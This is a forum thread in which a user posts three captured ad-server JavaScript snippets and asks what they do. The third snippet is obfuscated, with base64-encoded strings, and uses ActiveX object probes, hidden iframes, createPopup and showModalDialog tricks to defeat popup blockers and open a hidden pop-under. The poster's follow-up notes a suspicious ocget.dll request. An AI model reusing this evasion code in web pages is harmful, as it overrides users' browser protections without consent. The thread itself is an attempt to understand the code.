Author Topic: Anybody know what this does? (3)  (Read 3748 times)

0 Members and 1 Guest are viewing this topic.

August 29, 2008, 01:18:36 pm
Read 3748 times

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964
From: http://ad.iconadserver.com/st?ad_type=pop&ad_size=0x0&section=354811&banned_pop_types=28&pop_times=2&pop_frequency=86400

Code: [Select]
/* All portions of this software are copyright (c) 2003-2006 Right Media*/var rm_ban_flash=0;var rm_url="";var rm_pop_frequency=0;var rm_pop_id=0;var rm_pop_times=0;var rm_pop_nofreqcap=0;var rm_passback=0;var rm_tag_type="";rm_pop_frequency = 86400; rm_pop_times = 2; rm_pop_id = 354811; rm_tag_type = "pop"; rm_url = "http://ad.yieldmanager.com/imp?Z=0x0&y=28&s=354811&_salt=4258390381";var RM_POP_COOKIE_NAME='ym_pop_freq';var RM_INT_COOKIE_NAME='ym_int_freq';if(!window.rm_crex_data){rm_crex_data=new Array();}if(rm_passback==0){rm_pb_data=new Array();if(rm_crex_data.length>0){rm_url+="&X=";for(var i=0;i<rm_crex_data.length;i++){rm_url+=rm_crex_data[i];if(i!=rm_crex_data.length-1){rm_url+=",";}}}}else{rm_pb_data.push(rm_crex_data.pop());rm_url+="&X=";for(var i=0;i<rm_pb_data.length;i++){rm_url+=rm_pb_data[i];if(i!=rm_pb_data.length-1){rm_url+=",";}}rm_url+="&Y=pb";}var flash=new Object();flash=flashDetection();if(cookiesEnabled()){rm_url+=(flash.installed?"&B=10":"&B=12");}else{rm_url+=(flash.installed?"&B=11":"&B=13");}if(!flash.installed||rm_ban_flash==1){rm_url+="&m=2";}var url='';try{if(rm_tag_type=="ad"){if(top==self){url=encodeURIComponent(top.location.href);url=url.substr(0,256);rm_url+="&u="+url;}}else if(rm_tag_type=="iframe"){url=encodeURIComponent(document.referrer);url=url.substr(0,256);rm_url+="&u="+url;}}catch(e){}if(top==self){rm_url+="&r=1";}else{rm_url+="&r=0";}var rm_tag_src='<SCRIPT TYPE="text/javascript" SRC="'+rm_url+'"><\/SCRIPT>';if(rm_pop_frequency){if(rmCanShowPop(rm_pop_id,rm_pop_times,rm_pop_frequency)||rm_pop_nofreqcap){document.write(rm_tag_src);}}else{document.write(rm_tag_src);}function cookiesEnabled(){var cookieEnabled=(navigator.cookieEnabled)?true:false;if(typeof navigator.cookieEnabled=="undefined"&&!cookieEnabled){document.cookie="testcookie";cookieEnabled=(document.cookie.indexOf("testcookie")!=-1)?true:false;}return cookieEnabled;}function rmGetCookie(Name){var search=Name+"=";var CookieString=document.cookie;var result=null;if(CookieString.length>0){offset=CookieString.indexOf(search);if(offset!=-1){offset+=search.length;end=CookieString.indexOf(";",offset);if(end==-1){end=CookieString.length;}result=unescape(CookieString.substring(offset,end));}}return result;}function flashDetection(){var flash=new Object();flash.installed=false;flash.version='0.0';if(navigator.plugins&&navigator.plugins.length){for(x=0;x<navigator.plugins.length;x++){if(navigator.plugins[x].name.indexOf('Shockwave Flash')!=-1){flash.version=navigator.plugins[x].description.split('Shockwave Flash ')[1];flash.installed=true;break;}}}else if(window.ActiveXObject){for(x=2;x<10;x++){try{oFlash=eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+x+"');");if(oFlash){flash.installed=true;flash.version=x+'.0';}}catch(e){}}}return flash;}function rmReplace(myString,toReplace,replaceBy){return(myString.replace(new RegExp(toReplace,'gi'),replaceBy));}function writeCookie(ckName,ckVal){var numdays=14;var today=new Date();var expires=new Date();expires.setTime(today.getTime()+(1000*60*60*24*numdays));var cookieText=ckName+"="+ckVal+";expires="+expires.toGMTString()+";path=/;";document.cookie=cookieText;return null;}function rmCanShowPop(rm_pop_id,pop_times,pop_frequency){var countCookieName=RM_POP_COOKIE_NAME+rm_pop_id;var expireCookieName=RM_POP_COOKIE_NAME+"_expiration"+rm_pop_id;var shownTimes=rmGetCookie(countCookieName);if(shownTimes==null){rmWriteExpirationCookie(expireCookieName,pop_frequency);shownTimes=0;}else{shownTimes=Number(shownTimes);}if(shownTimes<pop_times){shownTimes=1+shownTimes;var expiration=rmGetCookie(expireCookieName);rmWritePopFrequencyCookie(rm_pop_id,shownTimes,expiration);return_value=true;}else{return_value=false;}return return_value;}function rmWritePopFrequencyCookie(rm_pop_id,shownTimes,expiration){var cookieName=RM_POP_COOKIE_NAME+rm_pop_id;var cookieText=cookieName+"="+shownTimes+";"+"expires="+expiration+";path=/;";document.cookie=cookieText;}function rmWriteExpirationCookie(cookieName,frequency){var today=new Date();var expires=new Date();expires.setTime(today.getTime()+(1000*frequency));var cookieText=cookieName+"="+expires.toGMTString()+";"+"expires="+expires.toGMTString()+";path=/;";document.cookie=cookieText;}
 

From: http://ad.globalinteractive.com/st?ad_type=pop&ad_size=0x0&section=231521&banned_pop_types=30&pop_times=1&pop_frequency=86400

Code: [Select]
/* All portions of this software are copyright (c) 2003-2006 Right Media*/var rm_ban_flash=0;var rm_url="";var rm_pop_frequency=0;var rm_pop_id=0;var rm_pop_times=0;var rm_pop_nofreqcap=0;var rm_passback=0;var rm_tag_type="";rm_pop_frequency = 86400; rm_pop_times = 1; rm_pop_id = 231521; rm_tag_type = "pop"; rm_url = "http://ad.yieldmanager.com/imp?Z=0x0&y=30&s=231521&_salt=2712969358";var RM_POP_COOKIE_NAME='ym_pop_freq';var RM_INT_COOKIE_NAME='ym_int_freq';if(!window.rm_crex_data){rm_crex_data=new Array();}if(rm_passback==0){rm_pb_data=new Array();if(rm_crex_data.length>0){rm_url+="&X=";for(var i=0;i<rm_crex_data.length;i++){rm_url+=rm_crex_data[i];if(i!=rm_crex_data.length-1){rm_url+=",";}}}}else{rm_pb_data.push(rm_crex_data.pop());rm_url+="&X=";for(var i=0;i<rm_pb_data.length;i++){rm_url+=rm_pb_data[i];if(i!=rm_pb_data.length-1){rm_url+=",";}}rm_url+="&Y=pb";}var flash=new Object();flash=flashDetection();if(cookiesEnabled()){rm_url+=(flash.installed?"&B=10":"&B=12");}else{rm_url+=(flash.installed?"&B=11":"&B=13");}if(!flash.installed||rm_ban_flash==1){rm_url+="&m=2";}var url='';try{if(rm_tag_type=="ad"){if(top==self){url=encodeURIComponent(top.location.href);url=url.substr(0,256);rm_url+="&u="+url;}}else if(rm_tag_type=="iframe"){url=encodeURIComponent(document.referrer);url=url.substr(0,256);rm_url+="&u="+url;}}catch(e){}if(top==self){rm_url+="&r=1";}else{rm_url+="&r=0";}var rm_tag_src='<SCRIPT TYPE="text/javascript" SRC="'+rm_url+'"><\/SCRIPT>';if(rm_pop_frequency){if(rmCanShowPop(rm_pop_id,rm_pop_times,rm_pop_frequency)||rm_pop_nofreqcap){document.write(rm_tag_src);}}else{document.write(rm_tag_src);}function cookiesEnabled(){var cookieEnabled=(navigator.cookieEnabled)?true:false;if(typeof navigator.cookieEnabled=="undefined"&&!cookieEnabled){document.cookie="testcookie";cookieEnabled=(document.cookie.indexOf("testcookie")!=-1)?true:false;}return cookieEnabled;}function rmGetCookie(Name){var search=Name+"=";var CookieString=document.cookie;var result=null;if(CookieString.length>0){offset=CookieString.indexOf(search);if(offset!=-1){offset+=search.length;end=CookieString.indexOf(";",offset);if(end==-1){end=CookieString.length;}result=unescape(CookieString.substring(offset,end));}}return result;}function flashDetection(){var flash=new Object();flash.installed=false;flash.version='0.0';if(navigator.plugins&&navigator.plugins.length){for(x=0;x<navigator.plugins.length;x++){if(navigator.plugins[x].name.indexOf('Shockwave Flash')!=-1){flash.version=navigator.plugins[x].description.split('Shockwave Flash ')[1];flash.installed=true;break;}}}else if(window.ActiveXObject){for(x=2;x<10;x++){try{oFlash=eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+x+"');");if(oFlash){flash.installed=true;flash.version=x+'.0';}}catch(e){}}}return flash;}function rmReplace(myString,toReplace,replaceBy){return(myString.replace(new RegExp(toReplace,'gi'),replaceBy));}function writeCookie(ckName,ckVal){var numdays=14;var today=new Date();var expires=new Date();expires.setTime(today.getTime()+(1000*60*60*24*numdays));var cookieText=ckName+"="+ckVal+";expires="+expires.toGMTString()+";path=/;";document.cookie=cookieText;return null;}function rmCanShowPop(rm_pop_id,pop_times,pop_frequency){var countCookieName=RM_POP_COOKIE_NAME+rm_pop_id;var expireCookieName=RM_POP_COOKIE_NAME+"_expiration"+rm_pop_id;var shownTimes=rmGetCookie(countCookieName);if(shownTimes==null){rmWriteExpirationCookie(expireCookieName,pop_frequency);shownTimes=0;}else{shownTimes=Number(shownTimes);}if(shownTimes<pop_times){shownTimes=1+shownTimes;var expiration=rmGetCookie(expireCookieName);rmWritePopFrequencyCookie(rm_pop_id,shownTimes,expiration);return_value=true;}else{return_value=false;}return return_value;}function rmWritePopFrequencyCookie(rm_pop_id,shownTimes,expiration){var cookieName=RM_POP_COOKIE_NAME+rm_pop_id;var cookieText=cookieName+"="+shownTimes+";"+"expires="+expiration+";path=/;";document.cookie=cookieText;}function rmWriteExpirationCookie(cookieName,frequency){var today=new Date();var expires=new Date();expires.setTime(today.getTime()+(1000*frequency));var cookieText=cookieName+"="+expires.toGMTString()+";"+"expires="+expires.toGMTString()+";path=/;";document.cookie=cookieText;}
 

From: http://ad.yieldmanager.com/imp?Z=0x0&y=28&s=354811&_salt=4258390381&B=10&r=1

Code: [Select]
oV1=window; function fStart(u,n,v) { if (!oV1.opera) var twin=oV1.open(u,n,v); if (!window.fV1) {fV13();} var w=oV2(u,n,v); var wo=vWA[w]; wo.pw=twin; fV3("fV10(" + w + ")",100); return (wo.pw&&fV35)?wo.pw:wo; } function fV11() {return fV6(vV1);} function fV5(x) { return true; } function oV2(u,n,v) { var c = vWA.length; vWA[c] = new Array; var cw = vWA[c]; var tn=new Date(); if (!v) var v=''; if (!n) var n=tn.getTime()+'N'+c; cw.location=u; cw.f=1; cw.s=0; cw.n=n; cw.v=v; cw.cn=""; cw.cnt=c; cw.blur=function() {cw.f=-1;}; cw.focus=function() {cw.f=1;}; return c } function fV13() { oV5=oV1.document; vWA=new Array; fV1=oV1.open; fV2=oV1.focus; fV3=setTimeout; fV4=clearTimeout; vV1='PE9CSkVDVCBJRD0nb1Y0JyBkYXRhPScvZmF2aWNvbi5pY28nIHR5cGU9J2FwcGxpY2F0aW9uL3htbCc+PC9PQkpFQ1Q+'; fV20=(document.all&&!oV1.opera)?1:0; isG=fV31=fV32=fV35=0; fV21=fV20?(navigator.appVersion.indexOf('NT 5.1')>0):0; fV34=fV20?(navigator.appVersion.indexOf('MSIE 7')>0):0; if (navigator.userAgent) { fV35=!fV20?(navigator.userAgent.indexOf('Firefox/2')>0):0; } oV5.write(fV6('PGlucHV0IHN0eWxlPSJ3aWR0aDowcHg7IHRvcDowcHg7IHBvc2l0aW9uOmFic29sdXRlOyB2aXNpYmlsaXR5OmhpZGRlbjsiIGlkPSJvVjYiIG9uY2hhbmdlPSJmVjgoZlYxLDUsdHJ1ZSkiPg==')); oV5.write(fV6('PGRpdiBzdHlsZT0iZGlzcGxheTppbmxpbmUiIGlkPSJvVjEwIj48L2Rpdj4=')); } function debug() {void(0)} function fV6(input) { var o = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); do { enc1 = keyStr.indexOf(input.charAt(i++)); enc2 = keyStr.indexOf(input.charAt(i++)); enc3 = keyStr.indexOf(input.charAt(i++)); enc4 = keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; o = o + String.fromCharCode(chr1); if(enc3 != 64) { o = o + String.fromCharCode(chr2); } if (enc4 != 64) { o = o + String.fromCharCode(chr3); } } while (i < input.length); return o; } function fV12() { if (--fV25<1) return; oV1.onerror=fV5; var t=fV3('fV12()',500); oV1.wO1=oV3.oV4.object.parentWindow; oV3.location=fV6('YWJvdXQ6Ymxhbms='); fV3('fV8(wO1.open,2)',200); fV4(t); } function fV17() { if (--fV25<1) { fV25=25; var t=fV3('fV12()'); return; } var x=fV3('fV17()',250); oV1.fV14=oV8.children[0].parentWindow; fV1=fV14.open; fV4(x); oV8.removeChild(oV8.children[0]); oV5.all['oV6'].fireEvent('onchange'); } function fV16() { if (fV34 || fV21) { oV5.all['oV6'].fireEvent('onchange'); } else { z=createPopup(); oV8=z.document.body; oV8.innerHTML=fV6(vV1); fV25=5; fV3('fV17()',200); } } function fV19(v) { if (oV5.getElementById('oV10')) { oV5.getElementById('oV10').innerHTML=v; } else { var o=oV5.createElement("span"); o.innerHTML=v; o.style.visibility = "visible"; oV5.body.appendChild(o); } } function fV23() { fV8(fV1,4); } function fV22() { if (--fV25==0) {fV21=0; fV7(); return;} var wo=vWA[0]; var x=fV3('fV22()',750); var o=fV24('oV9'); if (o.DOM) { fV4(x); fV25=1; eval(fV6('d28ucHc9by5ET00uU2NyaXB0Lm9wZW4od28ubG9jYXRpb24sJycsd28udik7')); if (wo.pw || fV34) { fV9(wo,4); } else { var t=fV3('fV33()',500); eval(fV6("dmFyIG91dD0ic2hvd01vZGFsRGlhbG9nKCdqYXZhc2NyaXB0OndpbmRvdy5vbmVycm9yPWZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9OyBzZXRUaW1lb3V0KFwid2luZG93LmNsb3NlKClcIiw1MCk7IHg9d2luZG93Lm9wZW4oXCJhYm91dDpibGFua1wiLFwiIiArIHdvLm4gKyAiXCIsXCIiICsgd28udiArICJcIik7ICB4LmJsdXIoKTsgd2luZG93LmNsb3NlKCknLCcnLCdoZWxwOjA7Y2VudGVyOjA7ZGlhbG9nV2lkdGg6MTtkaWFsb2dIZWlnaHQ6MTtkaWFsb2dMZWZ0OjUwMDA7ZGlhbG9nVG9wOjUwMDA7Jyk7Ijsgby5ET00uU2NyaXB0LmV4ZWNTY3JpcHQob3V0KTsg")); fV3('fV23()'); fV4(t); } } } function fV28() { fV19(fV6('PG9iamVjdCBpZD0ib1Y5IiBvbmVycm9yPSJmVjI1PTEiIHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjE7dG9wOjE7d2lkdGg6MTtoZWlnaHQ6MSIgY2xhc3NpZD0iY2xzaWQ6MkQzNjAyMDEtRkZGNS0xMWQxLThEMDMtMDBBMEM5NTlCQzBBIj48U0NSSVBUPmZWMjU9MTwvU0NSSVBUPjwvb2JqZWN0Pg==')); fV25=6; fV3('fV22()',500) } function fV26() { fV19(fV6('PElGUkFNRSBpZD0ib1YzIiBOQU1FPSJvVjMiIFNUWUxFPSJ2aXNpYmlsaXR5OmhpZGRlbjsgcG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTtoZWlnaHQ6MTsiIHNyYz0iamF2YXNjcmlwdDpwYXJlbnQuZlYxMSgpIj48L0lGUkFNRT4=')); fV25=20; fV3('fV12()',200); } function fV30() { fV3('fV32?fV29():fV28()'); var o=document.createElement('object'); o.onreadystatechange=function(){fV32=1}; o.classid='clsid:D2BD7935-05FC-11D2-9059-00C04FD7A1BD'; o.onreadystatechange=function(){fV32=0}; } function fV29() { fV3('fV31?fV28():fV33()'); var o=document.createElement('object'); o.onreadystatechange=function(){fV31=1}; o.classid='clsid:9E30754B-29A9-41CE-8892-70E9E07D15DC'; o.onreadystatechange=function(){fV31=0}; } function fV33() { fV3('isG?fV16():fV26();'); var o=document.createElement('object'); o.onreadystatechange=function(){isG=1}; o.classid='clsid:00EF2092-6AC5-47c0-BD25-CF2D5D657FEB'; o.onreadystatechange=function(){isG=0}; } function fV7() { oV5.body.onclick=function(){fV8(oV1.open,3)}; if (oV5.createElement) { fV24=oV5.getElementById; if (fV20) { if (fV21) { fV30(); } else { fV33(); } } else { if (!fV35) { out='<embed style="position:absolute; top:0px" swliveconnect="true" src="http://ad.yieldmanager.com/adoutput/adoutput.swf" width="1" height="1">'; fV19(out); } if (!oV5.all) { x=oV5.getElementById('oV6'); x.focus(); x.value=Math.random(); } } } } function fV8(f,t,y) { for (var i=0;i < vWA.length;i++) if (vWA[i].s==0) { vWA[i].s=-1; var wo=vWA[i]; wo.pw=f(wo.location,wo.n,wo.v); fV3("var i="+i+"; var wo=vWA[i]; if(wo.s==-1){wo.s=0}"); fV9(wo,t); } } function fV9(wo,s) { if (!s) s=0; if (wo.s > 1) return; if (s==0) var t=fV3("fV7()",500); if (s==4) var t=fV3('fV33()',500); if (s==5 && isG) var t=fV3('fV26()',200); oV1.onerror=fV5; if (wo.pw) { if (wo.f==-1) { wo.pw.blur(); fV34?oV5.focus():fV2(); } else { wo.pw.focus(); } wo.s=2; fV4(t); eval(fV6('CQlpZiAoMSArIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDEwMCkgPCA2KSB7DQoJCQl2YXIgeD1uZXcgSW1hZ2UoKTsNCgkJCXguc3JjPSdodHRwOi8vd3d3LmFkb3V0cHV0LmNvbS92ZXJzaW9uMi9oaXRfcm0uY2ZtP3R5cGU9JyArIHM7DQoJCX0=')); oV1.onerror=null; } } function fV10(w) { if (oV1.opera && !fV20) {fV7();return;} wo=vWA[w]; fV9(wo); }var l = (screen.width - 720) / 2;
var t = (screen.height - 300) / 2;
var pop = fStart('http://ad.iconadserver.com/rw?title=New%20offer%21&qs=iframe3%3FBbMhAPtpBQDrlQoAt6EDAAIAAAAAAP8AAAAGDwICAAIATgcAU30FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAgHRuVsM%2EAQCAdG5W0z8BAMALXB3QPwEAwAtcHeA%2EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZq6Cf7HZAAXwtEYDeuVumvIoQ8ZGJm3OhqQNmgAAAAA%3D%2C%2Chttp%3A%2F%2Fbyet%2Eorg%2Frotpop%2Ephp','','height=300,width=720,left='+l+',top='+t+',toolbar=0,status=0,menubar=0,resizable=0,scrollbars=0,location=0');
pop.blur();
window.focus();
 

August 29, 2008, 01:28:05 pm
Reply #1

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964
I think they might just be popup scripts, but when the popup blocker is enabled it tries to get ocget.dll which made me a bit suspicious. With the popup blocker disabled it will open a popup but no call to ocget.dll.